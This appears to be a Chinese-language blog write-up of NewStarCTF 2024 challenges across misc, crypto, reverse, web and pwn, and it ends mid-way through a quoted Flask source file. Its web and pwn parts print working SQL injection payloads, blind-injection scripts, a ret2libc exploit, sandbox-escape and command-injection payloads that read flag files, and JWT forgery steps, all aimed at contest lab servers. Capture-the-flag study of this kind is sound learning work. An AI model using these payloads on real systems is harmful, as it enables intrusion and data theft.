本文最后更新于 2024年11月11日 下午
前言:后面也没怎么打了,又没时间自己又笨,抄个冷饭放上来吧。
week1 Signin ez_answer 正常答题老实一点就出flag了,正常的规则
Misc decompress 前几层正常的解压,到最后一层有hint提示,是正则提示简单的看一下,一共是五位密码,前三位是小写字母,第四位数字,第五位是小写字母,用常见的爆破工具进行爆破一下就行,需要十分钟左右的时间吧爆破出来的密码是xtr4m,进去打开第一个压缩包就有flag
pleasingMusic
aud看一下有摩斯电码,用在线网站先进行初步的音频分离,然后利用题目正反都好听,将.-从后往前敲自己在线网站手敲一下得到编码ez_morse_code,最后套个flag
WhereIsFlag flag在proc/self/envrion里面,典型的藏在环境变量里
Labyrinth 简单的lsb查找
兑换码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import sysimport zlibimport structif len (sys.argv) != 2 : print ("Usage: python script.py <png_path>" ) sys.exit(1 ) file = sys.argv[1 ] fr = open (file, 'rb' ).read() data = bytearray (fr[12 :29 ]) crc32key = struct.unpack('>I' , fr[29 :33 ])[0 ] & 0xffffffff print (f"CRC32 Key: {crc32key} " ) n = 4096 found = False for w in range (n): width = bytearray (struct.pack('>i' , w)) for h in range (n): height = bytearray (struct.pack('>i' , h)) for x in range (4 ): data[x+4 ] = width[x] data[x+8 ] = height[x] crc32result = zlib.crc32(data) if crc32result == crc32key: print (f"Width: {w} , Height: {h} " ) print (f"Data: {data} " ) newpic = bytearray (fr) for x in range (4 ): newpic[x+16 ] = width[x] newpic[x+20 ] = height[x] with open (file, 'wb' ) as fw: fw.write(newpic) print (f"新图片已保存为: {file} " ) found = True break if found: break
简单的crc爆破,直接脚本梭就行了,flag在底部
Crypto xor 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from Crypto.Util.number import bytes_to_long, long_to_bytes key = b'New_Star_CTF' c1 = 8091799978721254458294926060841 c2 = b';:\x1c1<\x03>*\x10\x11u;' m1 = c1 ^ bytes_to_long(key) m2 = bytes (a ^ b for a, b in zip (c2, key)) flag_part1 = long_to_bytes(m1).decode('utf-8' ) flag_part2 = m2.decode('utf-8' ) flag = flag_part1 + flag_part2print ('Decrypted flag:' , flag)
Base 赛博厨子一把梭
一眼秒了 简单的rsa,题目说n小小的也很可爱,用factordb在线网站看看发现有因子,带入p直接上exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from Crypto.Util.number import *from gmpy2 import invert n = 52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153 c = 48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069 e = 65537 p = 7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956044421 q = n // p phi_n = (p - 1 ) * (q - 1 ) d = invert(e, phi_n) m = pow (c, d, n) flag = long_to_bytes(m)print ('Decrypted flag:' , flag.decode())
Strange King rot的变形移位
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 def decrypt_flag (encrypted_flag ): decrypted_flag = [] shift_values = [5 , 7 , 9 , 11 ,13 ,15 ,17 ,19 ,21 ,23 ,25 ,27 ,29 ,31 ,33 ,35 ,37 ,39 ,41 ,43 ,45 ,47 ,49 ,51 ,53 ,55 ,57 ,59 ,61 ] for i, char in enumerate (encrypted_flag): shift = shift_values[i % len (shift_values)] if char.isalpha(): if char.isupper(): new_char = chr ((ord (char) - ord ('A' ) - shift) % 26 + ord ('A' )) elif char.islower(): new_char = chr ((ord (char) - ord ('a' ) - shift) % 26 + ord ('a' )) decrypted_flag.append(new_char) else : decrypted_flag.append(char) return '' .join(decrypted_flag) encrypted_flag = "ksjr{EcxvpdErSvcDgdgEzxqjql}" decrypted_flag = decrypt_flag(encrypted_flag)print ('Decrypted flag:' , decrypted_flag)
Web headach3
会赢吗 第一部分看源码flag{WA0w
第二部分!_y4_r3al
第三部分1y_Gr4sP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 document .getElementById ('state' ).textContent = '解封' ;const csrfTokenValue = document .getElementById ('csrf_token' ).value ; fetch ('/api/flag/s34l' , { method : 'POST' , headers : { 'Content-Type' : 'application/json' }, body : JSON .stringify ({ csrf_token : csrfTokenValue }) }) .then (response => response.json ()) .then (data => { console .log (`第三部分Flag: ${data.flag} , 下一关: /${data.nextLevel || '无' } ` ); }) .catch (error => console .error ('请求过程中出现错误:' , error));
第四部分fSkpKcyF9
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 const csrfToken = document.getElementById('csrf_token' ).value; fetch('/api/flag/Ap3x' , { method : 'POST' , headers : { 'Content-Type' : 'application/x-www-form-urlencoded' }, body : `csrf_token=${encodeURIComponent(csrfToken)} ` }) .then(response => response.json()) .then(data => { console .log (`Flag: ${data.flag} ` ); }) .catch(error => console .error('请求过程中出现错误:' , error));
flag{WA0w!_y4_r3al1y_Gr4sP}?不对,应该直接ZmxhZ3tXQTB3IV95NF9yM2FsMXlfR3I0c1BfSkpKcyF9然后再转base64的
智械危机 找到对应的然后跑脚本填入得到flag
1 2 3 4 5 6 7 8 9 10 11 12 <?php $decrypted_cmd ='cat /f*' ;$cmd =base64_encode ($decrypted_cmd );$reversed_cmd = '' ;for ($i = strlen ($cmd ) - 1 ; $i >= 0 ; $i --) { $reversed_cmd .= $cmd [$i ]; }$hashed_reversed_cmd =md5 ($reversed_cmd );$decode_key =$hashed_reversed_cmd ;$key =base64_encode ($decode_key );echo $cmd ;echo $key ;
将得到的对应内容进行post发包即可
PangBai 过家家(1) 体感不算好,但是题目很好,不知道为什么这么卡的原因
第一层没怎么看明白,简单的抓包后修改一下header里的cookie看网络回显location进入第二层
第二层换cookie,get发包?ask=miao
第三层post发包say=hello
第四层改个referer,再把agent改一下把firefox改成Papa就行了
这层好像也要改为say=玛卡巴卡阿卡哇卡米卡玛卡呣
第五层好像是发patch,我是python进行发包的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requests url = "http://101.200.139.65:25030/?ask=Papa" files = {'file' : ('patch.zip' , open ('1.zip' , 'rb' ))} data = { 'say' : '玛卡巴卡阿卡哇卡米卡玛卡呣' } headers = { 'Cookie' : 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6MH0.J62yrWvSS_4OY6g19WR70lIq5DBRs70ISiH1rf8OUB0' , 'Referer' : 'http://101.200.139.65:35208/?ask=Papa' , 'User-Agent' : 'Papa/5.0 (Windows NT 10.0; Win64; x64)' , 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' , 'Origin' : 'http://101.200.139.65:35208' , 'X-Forwarded-For' :'127.0.0.1' } response = requests.patch(url, files=files, data=data, headers=headers)print (response.text)
第六层好像是jwt的更改,题目给了密钥直接在网站上改为level0再带入进行了
最后带入进行修改我把包又带到bp的自带浏览器里面得到最后的flag,按一下醒来等flag就行了
谢谢皮蛋 1 -1 union select 1 ,database()#
1 -1 union select 1 ,group_concat(table_name) from information_schema.tables where table_schema= database()#
1 -1 union select 1 ,group_concat(column_name) from information_schema.columns where table_name= 'Fl4g' #
1 -1 union select 1 ,group_concat(id,des,value ) from Fl4g#
Re begin 跟着流程做,一共三个部分,f5然后a,shiftf12,x
flag{Mak3_aN_3Ff0rt_tO_5eArcH_F0r_th3_f14g_C0Rpse}
base64 简单的base64换表
ezAndroidStudy 使用工具是jeb
flag1和flag2直接全局搜索得到flag部分,flag2在注释里,忘截屏了
flag3在xml中
flag4也是搜索然后在注释里得到
flag5在so里面导出然后带入ida逆向一下
Simple_encryption ida然后f5看main函数,一个简单的异或,定位一下密钥,简单的脚本带入
1 2 3 4 5 6 7 8 9 10 11 12 from idaapi import * decoded = "" for i in range (30 ): enc = get_byte(0x403020 + i) if i % 3 == 0 : enc = (enc + 31 ) & 0xFF elif i % 3 == 1 : enc = (enc - 41 ) & 0xFF else : enc ^= 0x55 decoded += chr (enc)print (decoded)
ez_debug ida打开简单的看一下判断flag后会对密文进行解密
可以用x64dbg打断点得到flag
pwn Real Login 有附件进行下载,ida的f5得到密钥,直接cat flag就行
Game 1 2 3 4 5 6 7 8 9 10 from pwn import * p = remote('39.106.48.123' , 30474 ) p.recvuntil("Let's play a game!" )for _ in range (100 ): p.sendline('10' ) p.recvuntil("pls input you num: " ) p.interactive()
大概的思路就是在5u内填入数字最后大于999即可,然后就可以进入执行命令了
overwrite
有长度限制通过输入-1进行绕过,在read函数中会转换为unsigned int类型允许读取大量数据
nbytes_4
在栈中有固定大小(0x30),填充 0x30 字节后,可以覆盖返回地址。
atoi
的输入字符串在可处理的范围内(即不超过 2147483647
),否则可能导致未定义行为,返回0
所以输入(0x30+0x06)个数字即可
gdb ida简单的看一下
用pwndbg进行查看,enc在rbp-0x439
,4557455355431d45
同时注意有不可见字符\x1d
1 2 3 4 5 from pwn import * p=remote("101.200.139.65" ,25014 ) s=p.recvuntil(b'data:' ) p.sendline(b"\x5d\x1d\x43\x55\x53\x45\x57\x45" ) p.interactive()
week2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsfrom bs4 import BeautifulSoup session = requests.Session() url = 'http://eci-2zea4sz6ovy11afw7m58.cloudeci1.ichunqiu.com/start' res = session.get(url) soup = BeautifulSoup(res.text, 'html.parser' ) text = soup.find('p' , id ='text' ).get_text() user_input = text post_url = 'http://eci-2zea4sz6ovy11afw7m58.cloudeci1.ichunqiu.com/submit' data = {'user_input' : user_input} response = session.post(post_url, data=data)print (response.text)
week2 Crypto 这是几次方? 疑惑! 加法的运算逻辑在^之前
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from Crypto.Util.number import * n = 124455847177872829086850368685666872009698526875425204001499218854100257535484730033567552600005229013042351828575037023159889870271253559515001300645102569745482135768148755333759957370341658601268473878114399708702841974488367343570414404038862892863275173656133199924484523427712604601606674219929087411261 e = 65537 c = 36513006092776816463005807690891878445084897511693065366878424579653926750135820835708001956534802873403195178517427725389634058598049226914694122804888321427912070308432512908833529417531492965615348806470164107231108504308584954154513331333004804817854315094324454847081460199485733298227480134551273155762 hint = 12578819356802034679792891975754306960297043516674290901441811200649679289740456805726985390445432800908006773857670255951581884098015799603908242531673390 p = hint ^ (e + 10086 ) q = n // p phi = (p - 1 ) * (q - 1 ) d = pow (e, -1 , phi) m = pow (c, d, n) flag = long_to_bytes(m)print (flag.decode())
Just one and more than two 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from Crypto.Util.number import * p = 11867061353246233251584761575576071264056514705066766922825303434965272105673287382545586304271607224747442087588050625742380204503331976589883604074235133 q = 11873178589368883675890917699819207736397010385081364225879431054112944129299850257938753554259645705535337054802699202512825107090843889676443867510412393 r = 12897499208983423232868869100223973634537663127759671894357936868650239679942565058234189535395732577137079689110541612150759420022709417457551292448732371 c1 = 8705739659634329013157482960027934795454950884941966136315983526808527784650002967954059125075894300750418062742140200130188545338806355927273170470295451 c2 = 1004454248332792626131205259568148422136121342421144637194771487691844257449866491626726822289975189661332527496380578001514976911349965774838476334431923162269315555654716024616432373992288127966016197043606785386738961886826177232627159894038652924267065612922880048963182518107479487219900530746076603182269336917003411508524223257315597473638623530380492690984112891827897831400759409394315311767776323920195436460284244090970865474530727893555217020636612445 e = 65537 d1 = pow (e, -1 , p - 1 ) m1 = pow (c1, d1, p) N = p * q * r phi_N = (p - 1 ) * (q - 1 ) * (r - 1 ) d2 = pow (e, -1 , phi_N) m2 = pow (c2, d2, N) flag = long_to_bytes(m1) + long_to_bytes(m2)print (flag.decode())
Since you konw something 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from Crypto.Util.number import long_to_bytesdef xor_bytes (a, b ): return bytes (x ^ y for x, y in zip (a, b * (len (a) // len (b) + 1 ))) c = 218950457292639210021937048771508243745941011391746420225459726647571 c_bytes = long_to_bytes(c)def try_decrypt (key ): decrypted = xor_bytes(c_bytes, key) if decrypted.startswith(b'flag{' ) and decrypted.endswith(b'}' ): return decrypted.decode() return None for i in range (256 ): key = bytes ([i]) result = try_decrypt(key) if result: print (f"Found flag with key {key.hex ()} : {result} " ) break if not result: import string import itertools chars = string.printable.encode() for length in range (2 , 5 ): for key in itertools.product(chars, repeat=length): key = bytes (key) result = try_decrypt(key) if result: print (f"Found flag with key {key.hex ()} : {result} " ) break if result: break if not result: print ("Could not find the key. The key might be longer or more complex." )
茶里茶气 难得自己分析之后再叫ai写的
开头是一个类tea的算法,然后之后拼接转回hex再拼接一下就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 p = 446302455051275584229157195942211 v0 = 190997821330413928409069858571234 v1 = 137340509740671759939138452113480 derta = 462861781278454071588539315363 v3 = 489552116384728571199414424951 v4 = 469728069391226765421086670817 v5 = 564098252372959621721124077407 v6 = 335640247620454039831329381071 v2 = (derta * 32 ) % pfor i in range (32 ): v2 = (v2 - derta) % p v0 = (v0 - ((v1 + v2) ^ (8 * v1 + v5) ^ ((v1 >> 7 ) + v6))) % p v1 = (v1 - ((v0 + v2) ^ (8 * v0 + v3) ^ ((v0 >> 7 ) + v4))) % pprint ("v0=" , v0)print ("v1=" , v1) l = 199 shift = l // 2 combined = (v0 << shift) + v1 a = hex (combined)[2 :]if len (a) % 2 != 0 : a = "0" + a flag = "" .join([chr (int (a[i:i+2 ], 16 )) for i in range (0 , len (a), 2 )])print ("Recovered flag:" , flag)
Misc wireshark_checkin wireshark打开http看一下追踪里面里面有flag
wireshark_secret 导出图片得到flag
热心助人的小明同学 Passware Kit Forensic工具一把梭
用溯流仪见证伏特台风 查找到网站 ,定位到domain,进行16位小写md5得到flag
你也玩原神吗 gif提取内容
原神真好玩😋,我直接手调
右下角的内容就行栅栏解密
字里行间的秘密 txt打开看下面的字符,零宽度隐写
带入解密,复制粘贴到txt里面即可得到flag
Herta’s Study 加密逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $payload =$_GET ['payload' ]; $payload =shell_exec ($payload ); $bbb =create_function ( base64_decode ('J' .str_rot13 ('T' ).'5z' ), base64_decode ('JG5zPWJhc2U2NF9lbmNvZGUoJG5zKTsNCmZvcigkaT0wOyRpPHN0cmxlbigkbnMpOyRp Kz0xKXsNCiAgICBpZigkaSUy' .str_rot13 ('CG0kXKfAPvNtVPNtVPNtWT5mJlEcKG1m' ).'dHJfcm90MTMoJG5zWyRpXSk7DQo gICAgfQ0KfQ0KcmV0dXJuICRuczs==' ) ); echo $bbb ($payload );?>
简单分析一下流量,中间传了一次假的flag后面传了一次真的,明显的==,上exp
1 2 3 4 5 6 7 8 9 10 11 12 <?php function reverseEncryption ($ns ) {for ($i = 0 ; $i < strlen ($ns ); $i ++) {if ($i % 2 == 1 ) {$ns [$i ] = str_rot13 ($ns [$i ]); } }return base64_decode ($ns ); }$encryptedString = 'ZzxuZ3tmSQNsaGRsUmBsNzVOdKQkZaVZLa0tCt==' ; $decryptedString = reverseEncryption ($encryptedString );echo $decryptedString ;
Re UPX 测试了一下,下载最新的upx脱壳,版本老的不行,简单的脱壳后发现是rc4,写解密脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 def init_sbox (key ): sbox = list (range (256 )) j = 0 key_length = len (key) for i in range (256 ): j = (j + sbox[i] + key[i % key_length]) % 256 sbox[i], sbox[j] = sbox[j], sbox[i] return sboxdef rc4 (key, data ): sbox = init_sbox(key) i = j = 0 output = [] for byte in data: i = (i + 1 ) % 256 j = (j + sbox[i]) % 256 sbox[i], sbox[j] = sbox[j], sbox[i] output.append(byte ^ sbox[(sbox[i] + sbox[j]) % 256 ]) return bytes (output) data = [ 196 , 96 , 175 , 185 , 227 , 255 , 46 , 155 , 245 , 16 , 86 , 81 , 110 , 238 , 95 , 125 , 125 , 110 , 43 , 156 , 117 , 181 ] key = b'NewStar' decrypted_flag = rc4(key, data)print (decrypted_flag.decode('utf-8' , errors='ignore' ))
drink_TEA 先看加密逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 #include <stdio.h> #include <stdint.h> #include <string.h> void decrypt (uint32_t * v, uint32_t * k) { uint32_t v0 = v[0 ], v1 = v[1 ]; uint32_t sum = 0xC6EF3720 ; uint32_t delta = 0x9E3779B9 ; for (int i = 0 ; i < 32 ; i++) { v1 -= ((v0 << 4 ) + k[2 ]) ^ (v0 + sum) ^ ((v0 >> 5 ) + k[3 ]); v0 -= ((v1 << 4 ) + k[0 ]) ^ (v1 + sum) ^ ((v1 >> 5 ) + k[1 ]); sum -= delta; } v[0 ] = v0; v[1 ] = v1; }int main () { char key[] = "WelcomeToNewStar" ; uint8_t enc[] = { 120 , 32 , 247 , 179 , 197 , 66 , 206 , 218 , 133 , 89 , 33 , 26 , 38 , 86 , 90 , 89 , 41 , 2 , 13 , 237 , 7 , 168 , 185 , 238 , 54 , 89 , 17 , 135 , 253 , 92 , 35 , 36 }; uint32_t k[4 ] = {0 }; memcpy (k, key, sizeof (k)); for (int i = 0 ; i < sizeof (enc); i += 8 ) { uint32_t v[2 ]; memcpy (v, enc + i, sizeof (v)); decrypt(v, k); printf ("Decrypted values: %u %u\n" , v[0 ], v[1 ]); memcpy (enc + i, v, sizeof (v)); } for (int i = 0 ; i < sizeof (enc); i++) { if (enc[i] >= 32 && enc[i] < 127 ) { putchar (enc[i]); } } putchar ('\n' ); return 0 ; }
Dirty_flowers 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def decrypt(v3, key ): decrypted = [] key_length = len(key ) for i in range (len(v3)): decrypted_char = v3[i] ^ ord(key [i % key_length]) decrypted.append (decrypted_char) return decrypted v3 = [ 2 , 5 , 19 , 19 , 2 , 30 , 83 , 31 , 92 , 26 , 39 , 67 , 29 , 54 , 67 , 7 , 38 , 45 , 85 , 13 , 3 , 27 , 28 , 45 , 2 , 28 , 28 , 48 , 56 , 50 , 85 , 2 , 27 , 22 , 84 , 15 ]key = "dirty_flower" decrypted_values = decrypt(v3, key ) flag = ''.join (chr(num ) for num in decrypted_values)print (flag)
Web 你能在一秒内打出八句英文吗 简单分析一下前端后写个py发包就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsfrom bs4 import BeautifulSoup session = requests.Session() url = 'http://eci-2zeefa47o1td1sssj8ml.cloudeci1.ichunqiu.com/start' res = session.get(url) soup = BeautifulSoup(res.text, 'html.parser' ) text = soup.find('p' , id ='text' ).get_text() user_input = text post_url = 'http://eci-2zeefa47o1td1sssj8ml.cloudeci1.ichunqiu.com/submit' data = {'user_input' : user_input} response = session.post(post_url, data=data)print (response.text)
遗失的拉链 根据题目的提示应该是www.zip下载看一下pizwww.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 );if (isset ($_GET ['new' ])&&isset ($_POST ['star' ])){ if (sha1 ($_GET ['new' ])===md5 ($_POST ['star' ])&&$_GET ['new' ]!==$_POST ['star' ]){ $cmd = $_POST ['cmd' ]; if (preg_match ("/cat|flag/i" , $cmd )) { die ("u can not do this " ); } echo eval ($cmd ); }else { echo "Wrong" ; } }
用数组绕过就行了
然后执行system(‘tac /f*’)就可以了
谢谢皮蛋 plus 过滤了空格,是字符绕过
1 -1"/**/union/**/select/**/1,database()#
1 -1"/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
1 -1"/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='Fl4g'#
1 -1"/**/union/**/select/**/1,group_concat(id,des,value)/**/from/**/Fl4g#
复读机 简单测试了一下xss和ssti,发现是ssti,但是手测不出来禁了什么,fenjing一把梭吧
PangBai 过家家(2) git泄露找了好几个版本,用https://github.com/WangYihang/GitHacker这个版本的可以得到
也git下来,git add一下得到一个文件BacKd0or.v2d23AOPpDfEW5Ca.php,看一下内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php function print_msg ($msg ) {$content = file_get_contents ('index.html' );$content = preg_replace ('/\s*<script.*<\/script>/s' , '' , $content );$content = preg_replace ('/ event/' , '' , $content );$content = str_replace ('点击此处载入存档' , $msg , $content );echo $content ; }function show_backdoor ( ) {$content = file_get_contents ('index.html' );$content = str_replace ('/assets/index.4f73d116116831ef.js' ,'/assets/backdoor.5b55c904b31db48d.js' , $content );echo $content ; }if ($_POST ['papa' ] !== 'TfflxoU0ry7c' ) {show_backdoor (); } else if ($_GET ['NewStar_CTF.2024' ] !== 'Welcome' && preg_match ('/^Welcome$/' ,$_GET ['NewStar_CTF.2024' ])) {print_msg ('PangBai loves you!' );call_user_func ($_POST ['func' ], $_POST ['args' ]); } else {print_msg ('PangBai hates you!' ); }
分析一下get需要发包的为
1 NewStar[CTF.2024=Welcome%0a
需要进行截取,然后还有个php特性的问题
post发包
1 papa=TfflxoU0ry7c&func=system&args=set
call_user_func是构造函数,查看系统环境得到flag
Pwn ez_game 用checksec检查一下,发现是64位,开了NX保护F5弹出伪代码,看一下。在func函数中发现溢出点
没有system字符串,也没有bin/sh,同时也开启了NX保护,说明是ret2libcROPgadget –binary ‘attachment’ –only ‘pop|ret’ 查看rdi与ret的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import * p=remote('101.200.139.65' ,30806 ) elf=ELF('./a' ) libc=ELF('./libc-2.31.so' ) rdi=0x400783 ret=0x400509 main=0x400702 puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] payload1=b"\x00" .ljust(0x58 , b'a' )+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) p.sendline(payload1) p.recvuntil('Welcome to NewStarCTF!!!!' ) puts_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' ))print (hex (puts_addr)) libcbase = puts_addr - libc.sym['puts' ] sys = libcbase + libc.symbols['system' ] binsh = libcbase + next (libc.search(b"/bin/sh\x00" ))print (hex (libcbase))print (hex (sys))print (hex (binsh)) payload2 = b"\x00" .ljust(0x58 , b'a' ) + p64(ret) + p64(rdi) + p64(binsh) + p64(sys) p.sendline(payload2) p.interactive()
week3 Web Include Me 简单的伪协议绕过
臭皮踩踩背 这方面学的不多,先试试
1 (1 ).__class__.__bases__[0 ].__subclasses__()
当前环境中的 __subclasses__()
返回了许多类,有点类似ssti的过程,试试132可以
最后构造payload
1 (1 ).__class__.__bases__[0 ].__subclasses__()[132 ].__init__.__globals__['popen' ]('cat /flag' ).read()
臭皮的计算机 一开始在想异或或者条件竞争,回宿舍突然灵机一动想出来了
八进制进行转化
1 \137\137\151\155\160\157\162\164\137\137\050\047\157\163\047\051\056\163\171\163\164\145\155\050\047\143\141\164\040\057\146\154\141\147\047\051
对应的语句是
1 __import__ ('os' ).system('cat /flag' )
blindsql1(复现) 一直在等官p,我想到的时间盲注一直注不出来,想拿到官p分析一下,先上我的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import timeimport requestsimport string dicts = string.ascii_letters+"_" +"-" +"{}" flag = '' url = 'http://eci-2ze6bhm7y89n414z4qi0.cloudeci1.ichunqiu.com/' def get_flag_char (index ): for char in dicts: payload = f"-1'||(if(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),{index} ,1)like('{char} '),sleep(0.5),0))#" params = {'student_name' : payload} try : start_time = time.time() r = requests.get(url=url, params=params) end_time = time.time() sub = end_time - start_time if sub >= 0.5 : return char except requests.RequestException as e: print (f"请求失败: {e} " ) return None for i in range (1 , 64 ): char = get_flag_char(i) if char: flag += char print (f"当前情况: {flag} " ) else : print ("已结束" ) break print (f"最终情况: {flag} " )
上一下官p吧方法其实类似
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requests,string,time url = 'http://eci-2ze6bhm7y89omu7vsmgr.cloudeci1.ichunqiu.com/' result = '' for i in range (1 ,100 ): print (f'[+] Bruting at {i} ' ) for c in string.ascii_letters + string.digits + ',_-{}' : time.sleep(0.01 ) print ('[+] Trying:' , c) tables = f'(Select(group_concat(secret_value))from(secrets)where((secret_value)like(\'flag%\')))' char = f'(ord(mid({tables} ,{i} ,1)))' b = f'(({char} )in({ord (c)} ))' p = f'Alice\'and({b} )#' res = requests.get(url, params={'student_name' : p}) if 'Alice' in res.text: print ('[*]bingo:' ,c) result += c print (result) break
具体我的代码讲解可以看sql2的我的写法
这“照片”是你吗(复现) 写这题的时候完全没思路,基础功底太差了,跟着官p复现一下,先看源码的hint
1 2 3 4 <!-- 图标能够正常显示耶! --> <!-- 但是我好像没有看到Nginx或者Apache之类的东西 --> <!-- 说明服务器脚本能够处理静态文件捏 --> <!-- 那源码是不是可以用某些办法拿到呢! -->
能获取路由但是没有中间件来支持,服务端处理文件和路由的逻辑很有可能会有漏洞。wappalyzer可以发现是flask
的框架,测试了一下是用目录穿越的漏洞的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 from flask import Flask, make_response, render_template_string, request, redirect, send_fileimport uuidimport jwtimport timeimport osimport requestsfrom flag import get_random_number_string base_key = str (uuid.uuid4()).split("-" ) secret_key = get_random_number_string(6 ) admin_pass = "" .join([ _ for _ in base_key])print (admin_pass) app = Flask(__name__) failure_count = 0 users = { 'admin' : admin_pass, 'amiya' : "114514" }def verify_token (token ): try : global failure_count if failure_count >= 100 : return make_response("You have tried too many times! Please restart the service!" , 403 ) data = jwt.decode(token, secret_key, algorithms=["HS256" ]) if data.get('user' ) != 'admin' : failure_count += 1 return make_response("You are not admin!<br><img src='/3.png'>" , 403 ) except : return make_response("Token is invalid!<br><img src='/3.png'>" , 401 ) return True @app.route('/' ) def index (): return redirect("/home" )@app.route('/login' , methods=['POST' ] ) def login (): username = request.form['username' ] password = request.form['password' ] global failure_count if failure_count >= 100 : return make_response("You have tried too many times! Please restart the service!" , 403 ) if users.get(username)==password: token = jwt.encode({'user' : username, 'exp' : int (time.time()) + 600 }, secret_key) response = make_response('Login success!<br><a href="/home">Go to homepage</a>' ) response.set_cookie('token' , token) return response else : failure_count += 1 return make_response('Could not verify!<br><img src="/3.png">' , 401 )@app.route('/logout' ) def logout (): response = make_response('Logout success!<br><a href="/home">Go to homepage</a>' ) response.set_cookie('token' , '' , expires=0 ) return response@app.route('/home' ) def home (): logged_in = False try : token = request.cookies.get('token' ) data = jwt.decode(token, secret_key, algorithms=["HS256" ]) text = "Hello, %s!" % data.get('user' ) logged_in = True except : logged_in = False text = "You have not logged in!" data = {} return render_template_string(r''' <!DOCTYPE html> <html> <head> <title>Home Page</title> </head> <body> <!-- 图标能够正常显示耶! --> <!-- 但是我好像没有看到Nginx或者Apache之类的东西 --> <!-- 说明服务器脚本能够处理静态文件捏 --> <!-- 那源码是不是可以用某些办法拿到呢! --> {{ text }}<br> {% if logged_in %} <a href="/logout">登出</a> {% else %} <h2>登录</h2> <form action="/login" method="post"> 用户名: <input type="text" name="username"><br> 密码: <input type="password" name="password"><br> <input type="submit" value="登录"> </form> {% endif %} <br> {% if user=="admin" %} <a href="/admin">Go to admin panel</a> <img src="/2.png"> {% else %} <img src="/1.png"> {% endif %} </body> </html> ''' , text=text, logged_in=logged_in, user=data.get('user' ))@app.route('/admin' ) def admin (): try : token = request.cookies.get('token' ) if verify_token(token) != True : return verify_token(token) resp_text = render_template_string(r''' <!DOCTYPE html> <html> <head> <title>Admin Panel</title> </head> <body> <h1>Admin Panel</h1> <p>GET Server Info from api:</p> <input type="input" value={{api_url}} id="api" readonly> <button onclick=execute()>Execute</button> <script> function execute() { fetch("{{url}}/execute?api_address="+document.getElementById("api").value, {credentials: "include"} ).then(res => res.text()).then(data => { document.write(data); }); } </script> </body> </html> ''' , api_url=request.host_url+"/api" , url=request.host_url) resp = make_response(resp_text) resp.headers['Access-Control-Allow-Credentials' ] = 'true' return resp except : return make_response("Token is invalid!<br><img src='/3.png'>" , 401 )@app.route('/execute' ) def execute (): token = request.cookies.get('token' ) if verify_token(token) != True : return verify_token(token) api_address = request.args.get("api_address" ) if not api_address: return make_response("No api address!" , 400 ) response = requests.get(api_address, cookies={'token' : token}) return 